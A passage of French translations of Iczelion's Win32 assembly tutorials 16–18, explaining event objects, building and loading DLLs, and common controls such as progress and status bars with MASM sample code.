  • Employez une variable globale en tant que simple commande flag. TRUE = Stop le lien, FALSE = continue le lien
  • Modifiez ThreadProc pour vérifier la valeur de la commande flag dans la boucle.
Quand l'utilisateur choisit le sous-menu "Kill Thread", le programme principal mettra la valeur TRUE dans le Flag de commande. Et quand ThreadProc verra que la valeur du Flag de commande est passé à TRUE(VRAI), alors on sortira de la boucle et on rompera ainsi le lien.
[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 16: Event Object

Tutorial 16: Event Object

Nous allons apprendre ce qu'est un event object et comment l'employer dans un programme multi-liens.

Downloadez l'exemple ici.

Théorie:

Dans le Tutorial précédent, on a vu comment les liens peuvent communiquent en se servant d'un message de fenêtre sur mesure (custum). J'ai omis deux autres méthodes : les variables globales et les 'events objets'. On va utiliser les deux dans ce Tutorial.
Un 'event objet', c'est comme un commutateur : il a seulement deux états possibles: on/off. Quand un 'event objet' est allumé, il est dans l'état "signalé" (c'est à dire qu'on l'utilise). Quand il est éteint, il est dans l'état "non-signalé"(on ne l'utilise pas, on n'y fait référence nulle part). On créer un 'event objet' et on écrit un petit bout de code au niveau des liens appropriés pour observer l'état de l' 'event objet'. Si l' 'event objet' est à l'état nonsignalé, les liens qui s'en servent sont inactifs. C'est bien pratique car lorsque les liens sont en état d'attente, ils consomment peu de temps CPU.
Vous créez un 'event object' en appelant la fonction CreateEvent qui possède la syntaxe suivante :

CreateEvent proto lpEventAttributes:DWORD,\
bManualReset:DWORD,\
bInitialState:DWORD,\
lpName:DWORD

lpEventAttribute--> Si vous mettez un NULL, l' 'event object' est créé d'une façon par défaut.
bManualReset--> Si vous souhaitez que Windows désactive automatiquement l'event object (off) après l'appel WaitForSingleObject, vous devez taper 'FALSE' pour ce paramètre. Sinon vous devez le désactiver manuellement avec l'appel ResetEvent.
bInitialState--> Au moment où il est créé, si vous souhaitez que l'event object soit à l'état signalé, mettez TRUE pour ce paramètre, sinon l' event object sera créé en étant à l'état nonsignalé.
lpName --> C'est le pointer qui repère une chaîne de caractère (ASCIIZ=du texte), laquelle n'est autre que le nom de l'event object. Ce nom sera employé quand vous voudrez appeler OpenEvent.(pointe sur le nom de l'Event Object)

Si l'appel s'est déroulé avec succès, il renvoie l'handle de l' event object qui vient d'être créé, autrement il renvoie un NULL.
Vous pouvez modifier l'état de l'event object avec les deux API suivantes : SetEvent et ResetEvent. La fonction SetEvent met l'event object à l'état signalé. ResetEvent fait le contraire.
Après que l'event object soit créé, il vous faut insérez l'appel 'WaitForSingleObject' dans le lien qui dépend de l'état de l'event object. WaitForSingleObject a la syntaxe suivante :

WaitForSingleObject proto hObject:DWORD, dwTimeout:DWORD

hObject --> L'handle d'un des l'objets à synchroniser. L' event object est un type d'objet de synchronisation.
dwTimeout --> C'est à vous de fixer (en millisecondes) le temps maximal que cette fonction peut attendre avant que l'objet passe à l'état signalé. Si le temps indiqué est passé et que l'event object est toujours à l'état nonsignalé, alors WaitForSingleObject rend la main au manager de Windows. Si vous voulez attendre indéfiniment, vous devez mettre la valeur 'INFINITE' pour ce paramètre.(c'est aussi -1 en décimal ou 0FFFFFFFFh en hexadécimal).

Exemple:

L'exemple ci-dessous montre une fenêtre attendant que l'utilisateur choisisse une commande du menu. Si l'utilisateur choisit ''run thread'' (Lancer le lien), alors ce lien commence le calcul sauvage (un calcul immense qui occupe le système). Quand il est fini, une boîte de message apparaît, informant l'utilisateur que le travail est terminé. Mais pendant que le lien était en action, l'utilisateur peut toujours cliquer sur "stop thread" pour arrêter ce lien.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_START_THREAD equ 1
IDM_STOP_THREAD equ 2
IDM_EXIT equ 3
WM_FINISH equ WM_USER+100h

.data
ClassName db "Win32ASMEventClass",0
AppName db "Win32 ASM Event Example",0
MenuName db "FirstMenu",0
SuccessString db "The calculation is completed!",0
StopString db "The thread is stopped",0
EventStop BOOL FALSE

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwnd HANDLE ?
hMenu HANDLE ?
ThreadID DWORD ?
ExitCode DWORD ?
hEventStart HANDLE ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
invoke GetMenu,hwnd
mov hMenu,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_CREATE
invoke CreateEvent,NULL,FALSE,FALSE,NULL
mov hEventStart,eax
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax
.ELSEIF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_START_THREAD
invoke SetEvent,hEventStart
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_ENABLED
.elseif ax==IDM_STOP_THREAD
mov EventStop,TRUE
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_GRAYED
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSEIF uMsg==WM_FINISH
invoke MessageBox,NULL,ADDR SuccessString,ADDR AppName,MB_OK
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

ThreadProc PROC USES ecx Param:DWORD
invoke WaitForSingleObject,hEventStart,INFINITE
mov ecx,600000000
.WHILE ecx!=0
.if EventStop!=TRUE
add eax,eax
dec ecx
.else
invoke MessageBox,hwnd,ADDR StopString,ADDR AppName,MB_OK
mov EventStop,FALSE
jmp ThreadProc
.endif
.ENDW
invoke PostMessage,hwnd,WM_FINISH,NULL,NULL
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_GRAYED
jmp ThreadProc
ret
ThreadProc ENDP
end start

Analyse:

Dans cet exemple, je vous montre une autre technique de lien.

.IF uMsg==WM_CREATE
invoke CreateEvent,NULL,FALSE,FALSE,NULL
mov hEventStart,eax
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax

Vous pouvez voir que je crée l'event object ainsi que le lien, pendant le traitement du message WM_CREATE. Je crée l'event object à l'état nonsignalé et avec remise automatique à l'état nonsignalé. Après que l'event object soit créé, je crée le lien. Cependant le lien ne se met pas immédiatement au travail parce qu'il attend que l'event object soit mis à l'état 'signalé'. Ci-dessous voici comment le mettre dans cet état :

ThreadProc PROC USES ecx Param:DWORD
invoke WaitForSingleObject,hEventStart,INFINITE
mov ecx,600000000

La première ligne de la procédure du lien est l'appel WaitForSingleObject. Ici on attend indéfiniment jusqu'à ce que l'event object passe à l'état signalé avant qu'il ne retourne. Ça signifie que même après que le lien ait été créé, nous le mettons dans un état d'inactivité.
Quand l'utilisateur choisit la commande du menu "run thread", nous mettons l'event object dans l'état signalé, comme indiqué ci-dessous :

.if ax==IDM_START_THREAD
invoke SetEvent,hEventStart

L'appel SetEvent met l'event object à l'état signalé, ce qui fait qu'à son tour l'appel WaitForSingleObject nous dirige vers la procédure du lien et le lien commence à travailler. Quand l'utilisateur choisit la commande "stop thread", nous mettons la valeur de la variable globale "EventStop" à TRUE.

.if EventStop==FALSE
add eax,eax
dec ecx
.else
invoke MessageBox,hwnd,ADDR StopString,ADDR AppName,MB_OK
mov EventStop,FALSE
jmp ThreadProc
.endif

Ceci stop le lien et saute de nouveau à l'appel WaitForSingleObject. Remarquez que nous n'avons pas besoin de remettre manuellement l'event object à l'état nonsignalé puisque nous avons mis le paramètre bManualReset à FALSE (dans l'appel de CreateEvent).

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32asm tutorial 17: Dynamic Link Libraries

Tutorial 17: Les DLL
(Dynamic Link Libraries)
Bibliothèques de Liaison, Dynamiques

Dans ce Tutorial, nous allons voir les DLLs, ce qu'elles sont et comment les créer.
Vous pouvez télécharger l'exemple ici.

Théorie:

Si vous programmez depuis un petit moment déjà, vous constaterez que les programmes que vous avez l'habitude d'écrire ont quelques routines de code en communs. C'est vraiment une perte de temps de les récrire à chaque fois que vous commencez à développer de nouveaux programmes. Revenons en arrière, aux vieux jours du DOS, les programmeurs ont faits en sorte de stocker les routines les plus généralement employées dans une ou plusieurs bibliothèques. Quand ils veulent utiliser les fonctions, ils ont juste à lier la bibliothèque avec le fichier d'objet, et le linker extrait les fonctions de la bibliothèque puis les insère dans le fichier final exécutable. Ce processus est appelé la jonction statique. Les bibliothèques 'Runtime du C' sont de bons exemples. L'inconvénient de cette méthode c'est que vous avez des fonctions identiques dans chaque programme qui les appelle. Votre espace disque est gaspillé stockant plusieurs copies identiques des fonctions. Mais pour les programmes sous DOS, cette méthode est tout à fait valable puisqu'il n'y a généralement qu'un seul programme en action dans la mémoire. Ainsi il n'y a aucune perte précieuse de mémoire.
Sous Windows, la situation devient beaucoup plus critique parce que vous pouvez avoir plusieurs programmes tournant simultanément. La mémoire sera rapidement saturée si votre programme est vraiment grand. Windows a une solution pour ce type de problème : les bibliothèques de liaison dynamiques. Une bibliothèque de liaison dynamique est une sorte de regroupement commun de plusieurs fonctions. Windows ne chargera pas en mémoire plusieurs copies d'une dll, même dans le cas où il y a beaucoup de programmes tournant en même temps. Il fera seulement une copie en mémoire de la DLL que le programme emploie. Bon, je dois clarifier un peu ce point. En réalité, tous les process qui emploient la même dll, auront leurs propres copies de cette dll. C'est comme si il y avait plusieurs copies de cette dll en mémoire. Mais en réalité, Windows nous fait un petit tour de magique en paginant tous les morceaux de process utilisant la même dll. Ainsi en mémoire physique, il y a uniquement une copie du code de la dll. Cependant, chaque process aura sa propre section de données unique de la DLL.
Le programme se lie avec une DLL pendant l'exécution, à la différence de la vieille bibliothèque statique. C'est pourquoi on l'appelle 'bibliothèque de liaison dynamique'. Vous pouvez aussi vous défaire d'une DLL pendant l'exécution quand vous n'en avez plus besoin. Si ce programme est le seul à employer la DLL, il la virera immédiatement de la mémoire. Mais si la DLL est toujours employée par d'autres programmes, la DLL reste en mémoire tant que le dernier programme qui l'emploie s'en défasse.
Cependant, le linker a un travail plus difficile quand il exécute l'adresse fixups pour le fichier final exécutable. Puisqu'on ne peut pas "extraire" les fonctions et les insérer complètement dans le fichier final exécutable, d'une façon ou d'une autre on doit stocker assez d'informations personnelles sur la DLL et ses fonctions dans le fichier executable final pour être capable de charger correctement la DLL pendant l'exécution.
C'est là ! que la bibliothèque d'importation entre en jeu. Une bibliothèque d'importation contient des informations à propos de la DLL qu'il représente. Le linker peut extraire des bibliothèques d'importation les renseignements dont il a besoin. Quand le loader de Windows charge le programme en mémoire, il voit que le programme se lie avec une DLL donc il essai de trouver cette DLL et la réécrit alors dans l'espace d'adresse du process(du programme), puis exécute les adresses hors du programme pour les fonctions Call qui appellent la DLL.
Vous pouvez vouloir charger la DLL vous-même sans compter sur le loader (chargeur) de Windows. Cette méthode a son pour et son contre :
  • S'il n'y a pas besoin d'une bibliothèque d'importation alors vous pouvez charger et employer n'importe qu'elle DLL même si elle n'est accompagnée d'aucune bibliothèque d'importation. Cependant, vous avez quand même besoin de savoir certaines choses sur les fonctions qu'elle vous propose, des choses comme combien de paramètres elles utilisent…
  • Si vous laissez le loader charger la DLL pour votre programme, et que le loader ne trouve pas cette DLL il annoncera "Le fichier .DLL exigé, xxxxx.DLL est manquant" et paf! Votre programme n'a aucune chance d'être lancé même si cette DLL n'est pas essentiel pour son fonctionnement minimal. Si vous chargez la DLL vous-même, et que la DLL ne peut pas être trouvé et que ce n'est pas essentiel pour l'opération, votre programme le fait remarquer à l'utilisateur mais peut continuer.
  • Vous pouvez utiliser et appeler d'autres fonctions *non décrites dans ces Tuts* qui ne sont pas incluses dans les bibliothèques d'importation. À condition que vous connaissiez assez de renseignements sur ces fonctions.
  • Si vous utilisez LoadLibrary, vous devez appeler GetProcAddress pour chaque fonction que vous souhaitez appeler. GetProcAddress retrouve l'adresse de l'entrypoint d'une fonction à l'intérieur d'une DLL particulière. (l'adresse où commence une fonction particulière). Donc il se peut que votre code soit un peu plus grand et plus lent, mais ça change pas grand chose.
En comparant les avantages / inconvénients d'un appel à LoadLibrary, nous entrons maintenant dans les détails pour créer une DLL.
Le code suivant est le squelette de la DLL. (DLL skeleton.)

;--------------------------------------------------------------------------------------
; DLLSkeleton.asm
;--------------------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
mov eax,TRUE
ret
DllEntry Endp
;---------------------------------------------------------------------------------------------------
; C'est une fonction factice
; Ça ne fait rien. Je l'ai mise ici pour montrer où vous pouvez insérer des fonctions à l'intérieur d'une DLL.
;----------------------------------------------------------------------------------------------------
TestFunction proc
ret
TestFunction endp

End DllEntry

;-------------------------------------------------------------------------------------
; DLLSkeleton.def
;-------------------------------------------------------------------------------------
LIBRARY DLLSkeleton
EXPORTS TestFunction

Ce tout petit programme ci-dessus est le squelette de la DLL. Chaque DLL doit avoir une fonction d'entrypoint. Windows appellera la fonction d'entrypoint chaque fois que :

  • La DLL est loadée en premier
  • La DLL est unloadée (libérée)
  • Un lien est créé dans ce même process
  • Un lien est détruit dans ce même process
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
mov eax,TRUE
ret
DllEntry Endp

Vous pouvez nommer la fonction DllEntry comme vous le souhaitez tant que vous avez une FIN correspondante . Cette fonction prend trois paramètres, dont seulement les deux premier sont importants.
hInstDLL est l'handle du programme qui a appeler cette DLL. Ce n'est pas le même que l'instance handle du process. Vous devez garder cette valeur si vous avez besoin de l'employer plus tard. Vous ne pourrez plus l'obtenir de nouveau aussi facilement. Exemple: Si vous connaissez la DLL Kernel32.DLL vous savez bien qu'elle possède plusieurs fonctions ou modules à l'intérieurs d'elle, dont GetCommandeLineA et ExitProcess.
reason peut être une des quatre valeurs :

  • DLL_PROCESS_ATTACH La DLL reçoit cette valeur quand elle est injectée la toute première fois dans l'espace d'adresses du process. Vous pouvez utiliser cette occasion pour faire l'initialisation.
  • DLL_PROCESS_DETACH La DLL reçoit cette valeur quand elle est unloadée (supprimée) de l'espace d'adresses du process. Vous pouvez employer cette occasion pour faire un peu de nettoyage comme désinffecter la mémoire etc…
  • DLL_THREAD_ATTACH La DLL reçoit cette valeur quand le process crée un nouveau lien. (la DLL était déjà utilisée par un autre programme, elle est déjà en mémoire)
  • DLL_THREAD_DETACH La DLL reçoit cette valeur quand un lien dans le process est détruit.
Renvoyez TRUE dans eax si vous souhaitez que la DLL continue son exécution. Si vous renvoyez FALSE, la DLL ne sera pas chargée. Par exemple, si votre code d'initialisation doit réserver de la mémoire et qu'il ne peut pas faire ça avec succès, la fonction DllEntry doit renvoyer FALSE pour indiquer que la DLL ne peut pas être lancée.
Vous pouvez placer vos fonctions dans la DLL après la fonction DllEntry ou même avant elle. Mais si vous voulez qu'elles soient CALLables par d'autres programmes, vous devez mettre leurs noms dans un fichier d'exportation (.def).
Une DLL a besoin d'un fichier de définition de module dans son process liée à son développement. Nous y jetons un coup d'œil maintenant.

LIBRARY DLLSkeleton
EXPORTS TestFunction

Normalement dans la première ligne vous devez avoir la déclaration LIBRARY qui sert à définir le nom du module interne (la fonction souhaitée) de la DLL. Vous devez correspondre avec ce module grâce au nom du fichier de la DLL.
La déclaration EXPORTS dit au linker quelles fonctions sont en train de tourner dans la DLL, c'est-à-dire quelles fonctions sont déjà utilisées par d'autres programmes. Dans l'exemple, nous voulons que d'autres modules soient capables d'appeler TestFunction, donc nous mettons son nom dans la déclaration EXPORTS.
Un autre type de changement est possible grâce au commutateur du linker. Vous devez mettre le commutateut /DLL et /DEF:<votre nom de fichier def> dans votre linker de commutation comme cela :

link /DLL /SUBSYSTEM:WINDOWS /DEF:DLLSkeleton.def /LIBPATH:c:\masm32\lib DLLSkeleton.obj

Les commutateurs d'assembleur sont les mêmes, à savoir /c /coff /Cp. Ainsi après que vous ayez lié le fichier objet, vous obtiendrez *.DLL et *.lib. Le *.lib est la bibliothèque d'importation que vous pouvez employer pour vous lier avec d'autres programmes qui emploient les fonctions de votre DLL.
Ensuite je vous montrerai comment employer LoadLibrary pour charger une DLL.

;---------------------------------------------------------------------------------------------
; UseDLL.asm
;----------------------------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
LibName db "DLLSkeleton.dll",0
FunctionName db "TestHello",0
DllNotFound db "Cannot load library",0
AppName db "Load Library",0
FunctionNotFound db "TestHello function not found",0

.data?
hLib dd ? ; l' handle de la librairie (l' handle de la DLL)
TestHelloAddr dd ? ; l'adresse de la function TestHello

.code
start:
invoke LoadLibrary,addr LibName
;---------------------------------------------------------------------------------------------------------
; Appelle LoadLibrary avec le nom de la DLL désirée. Si l'appel est couronné de succès
; Il renverra l'handle de la bibliothèque (DLL). Sinon, il renverra le NULL.
; Vous pouvez passer l'handle de la bibliothèque à GetProcAddress ou n'importe quelle fonction qui a besoin
; de l'handle d'une DLL comme paramètre.
;------------------------------------------------------------------------------------------------------------
.if eax==NULL
invoke MessageBox,NULL,addr DllNotFound,addr AppName,MB_OK
.else
mov hLib,eax
invoke GetProcAddress,hLib,addr FunctionName
;-------------------------------------------------------------------------------------------------------------
; Quand vous obtenez l'handle de la bibliothèque, vous le passez à GetProcAddress avec l'adresse
; du nom de la fonction de la DLL que vous souhaitez appeler. Ceci renvoie l'adresse
; de la fonction si tout s'est passé avec succès. Autrement, il renvoie un NULL.
; Les adresses des fonctions ne changent pas à moins que vous ne déchargiez puis rechargiez la bibliothèque.
; Donc vous pouvez les placer dans des variables globales pour de futures utilisations.
;-------------------------------------------------------------------------------------------------------------
.if eax==NULL
invoke MessageBox,NULL,addr FunctionNotFound,addr AppName,MB_OK
.else
mov TestHelloAddr,eax
call [TestHelloAddr]
;-------------------------------------------------------------------------------------------------------------
; Ensuite, vous pouvez appeler la fonction avec un appel simple avec la variable contenant
; l'adresse de la fonction comme opérande.
;-------------------------------------------------------------------------------------------------------------
.endif
invoke FreeLibrary,hLib
;-------------------------------------------------------------------------------------------------------------
; Quand vous n'avez plus besoin de la bibliothèque, vous la déchargez avec FreeLibrary.
;-------------------------------------------------------------------------------------------------------------
.endif
invoke ExitProcess,NULL
end start

Donc vous pouvez voir que l'utilisation de LoadLibrary est un peu plus compliquée mais elle est aussi plus flexible.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion Win32asm Tutorial 18: Common Controls

Tutorial 18: Les Controls Communs
(Common Controls)

Nous allons voir ce que sont les Controls les plus utilisées et voir comment on les emploie. Ce Tutorial sera seulement une rapide introduction à ceux-ci.
Downloadez l'exemple ici.

Théorie:

Windows 95 a été doté de plusieurs nouvelles interfaces utilisateur que n'avait pas Windows 3.1x. Ceci enrichi encore le GUI (NdT : Graphic User Interface). Plusieurs d'entre eux sont largement employés avant même que Windows 95 ne s'affiche à l'écran, comme la barre de statut, des barres d'outils etc. Sous Windows 3.x, les programmeurs devaient les coder eux-mêmes. Maintenant Microsoft les a inclus dans Windows 9x et NT. Nous allons les voir ici.
Voici ces nouveaux Controls :
  • Toolbar -----> (barre d'outils)
  • Tooltip -----> (Bulle d'information: voir tuorial 27)
  • Status bar -----> (barre d'état)
  • Property sheet -----> (feuille de propriété)
  • Property page -----> (page de propriété)
  • Tree view -----> (dossiers organisés sous la forme d'un arbre. Voir tutorial 19)
  • List view -----> (dossiers organisés sous la forme d'une simple liste. Voir tutorial 31)
  • Animation -----> (animation, films AVI)
  • Drag list -----> ()
  • Header -----> (en-tete)
  • Hot-key -----> (fontion touches racourcis)
  • Image list -----> (liste d'images)
  • Progress bar -----> (barre de progression de chargement)
  • Right edit -----> ()
  • Tab -----> (la touche Tab : Focus)
  • Trackbar -----> ()
  • Up-down -----> (les flèches haut/bas pour le défilement de d'une page)
Voici une adresse ou vous trouverez de petits programmes d'exemples de chacun de ces Common Control. Ils ont étés codés en C++ et non pas en MASM mais le principe est là. Vous comprendrez ce que chacun d'eux représente.
http://www.microsoft.com/msj/defaulttop.asp?page=/msj/0798/controlspytop.htm
(Merci à Sharpsighted pour l'info. sharpsighted@caramail.com)

Puisque il y en a beaucoup, le fait de les charger en mémoire et les déclarer serait une perte de ressource. Tous, à l'exception du contrôle d'édition, sont stockés dans comctl32.dll. Et n'importe quel programme peut les charger quand il a besoin d'employer un de ces Controls. Le contrôle d'édition (riche ou évolué) réside dans sa propre dll, richedXX.dll, parce qu'il est très compliqué et plus volumineux que ses frères.
Vous pouvez charger comctl32.dll grâce à l'inclusion d'un Call InitCommonControls dans votre programme. InitCommonControls est une fonction de comctl32.dll, donc en vous y référant n'importe où dans votre code, fera que le Loader PE chargera comctl32.dll quand votre programme est en court. Vous ne devez pas l'exécuter, incluez la simplement quelque part dans votre code. Cette fonction ne fait RIEN! Sa seule et unique instruction est "ret". Son seul but c'est d'inclure la référence de comctl32.dll dans la section d'importation pour que le Loader PE le charge à chaque fois que le programme est chargé. Le vrai boulot se fait au niveau de l'entrypoint de la fonction DLL qui enregistre chacune des classes des différents Common Controls (common control classes) quand la DLL est chargée. Les 'Commons Controls' sont créés sur la base de ces classes, tout comme d'autre 'child window controls' tels que la zone d'édition, la liste etc.
Pour le contrôle d'édition évolué (riche) c'est une autre histoire. Si vous voulez l'employer, vous devez appeler LoadLibrary pour le charger et appeler FreeLibrary pour le décharger.
Maintenant nous allons voir comment les créer. Vous pouvez employer un éditeur de ressources pour les incorporer dans des DialogBox ou bien vous pouvez les créer vous-même. Presque tous les common controls sont créés en appelant CreateWindowEx ou CreateWindow, en leur passant le nom de la classe du contrôle. Quelques common controls ont des fonctions de création spéciales, cependant, ce ne sont que des broutilles autour de CreateWindowEx pour rendre la création de ces 'controls' plus simple. Ces fonctions spécifiques de création sont inscrites ci-dessous :
  • CreateToolbarEx
  • CreateStatusWindow
  • CreatePropertySheetPage
  • PropertySheet
  • ImageList_Create
Pour pouvoir créer ces 'common controls', vous devez connaître leurs noms de classe. Les voici inscrits ci-dessous :
Class Name | Common Control
ToolbarWindow32 | Toolbar
tooltips_class32 | Tooltip
msctls_statusbar32 | Status bar
SysTreeView32 | Tree view
SysListView32 | List view
SysAnimate32 | Animation
SysHeader32 | Header
msctls_hotkey32 | Hot-key
msctls_progress32 | Progress bar
RICHEDIT | Rich edit
msctls_updown32 | Up-down
SysTabControl32 | Tab

Les 'Property sheets', les 'property pages' et l 'image list control' (soit les feuilles de propriété, les pages de propriété, et le contrôle de liste d'image) ont leurs propres fonctions spécifiques de création. La 'Drag list control' gonfle encore la liste donc elle n'a pas sa propre classe. Ces susdits noms de classe sont vérifiés en regardant le scénario de ressource, produit par l'éditeur de ressource Visual C++. Ils diffèrent des noms de classe inscrits dans la référence API Win32 Borland et de ceux de la Programmation Windows95 de Charles Petzold. La liste est précisément celle-ci.
Ces common controls peuvent utiliser les styles généraux de fenêtres tel que WS_CHILD etc. Ils ont aussi leurs propres styles spécifiques comme TVS_XXXXX pour le 'tree view control' (contrôle montrant les fichiers sous forme d'arbrorescence ), LVS_xxxx pour le 'list view control' (contrôle montrant les fichiers sous forme d'une liste), etc. La référence API Win32 sera votre meilleur ami à cet égard.
Maintenant que nous savons comment créer des common controls, nous pouvons nous intéresser à la méthode de communication entre ces common controls et leurs parents. À la différence des 'child window controls', les 'common controls' ne communiquent pas avec leur parent grâce à des messages WM_COMMAND. Au lieu de ça, ils envoient des messages WM_NOTIFY à la fenêtre parente lorsque certains événements bien précis se produisent. Le parent peut contrôler les enfants en leur envoyant des messages. Il y a aussi beaucoup de nouveaux messages pour ces nouveaux Controls. Vous devez consulter votre référence API win32 pour plus de détails.
Dans l'exemple suivant, on va examiner les deux Controls suivants, la barre de progression et la barre de statut. ('progress bar' et 'status bar controls')

échantillon de code:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.const
IDC_PROGRESS equ 1 ; Les n° d'Identités des 'controls' (par exemple n°ID de la barre de progression)
IDC_STATUS equ 2
IDC_TIMER equ 3

.data
ClassName db "CommonControlWinClass",0
AppName db "Common Control Demo",0
ProgressClass db "msctls_progress32",0 ; La 'class name' de la barre de progression
Message db "Finished!",0
TimerID dd 0

.data?
hInstance HINSTANCE ?
hwndProgress dd ?
hwndStatus dd ?
CurrentStep dd ?
.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax
invoke InitCommonControls

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR ProgressClass,NULL,\
WS_CHILD+WS_VISIBLE,100,\
200,300,20,hWnd,IDC_PROGRESS,\
hInstance,NULL
mov hwndProgress,eax
mov eax,1000 ; Le paramètre lParam du message PBM_SETRANGE contient la gamme, (en général de 0 à 100)
mov CurrentStep,eax
shl eax,16 ; La borne haute de la gamme (ici 100) est dans le mot de poids fort
invoke SendMessage,hwndProgress,PBM_SETRANGE,0,eax
invoke SendMessage,hwndProgress,PBM_SETSTEP,10,0
invoke CreateStatusWindow,WS_CHILD+WS_VISIBLE,NULL,hWnd,IDC_STATUS
mov hwndStatus,eax
invoke SetTimer,hWnd,IDC_TIMER,100,NULL ; crée un minuteur (un timer)
mov TimerID,eax
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.if TimerID!=0
invoke KillTimer,hWnd,TimerID
.endif
.elseif uMsg==WM_TIMER ; Quand un 'timer event' survient
invoke SendMessage,hwndProgress,PBM_STEPIT,0,0 ; Remplissage (pas à pas) de la barre de progression.
sub CurrentStep,10
.if CurrentStep==0
invoke KillTimer,hWnd,TimerID
mov TimerID,0
invoke SendMessage,hwndStatus,SB_SETTEXT,0,addr Message
invoke MessageBox,hWnd,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
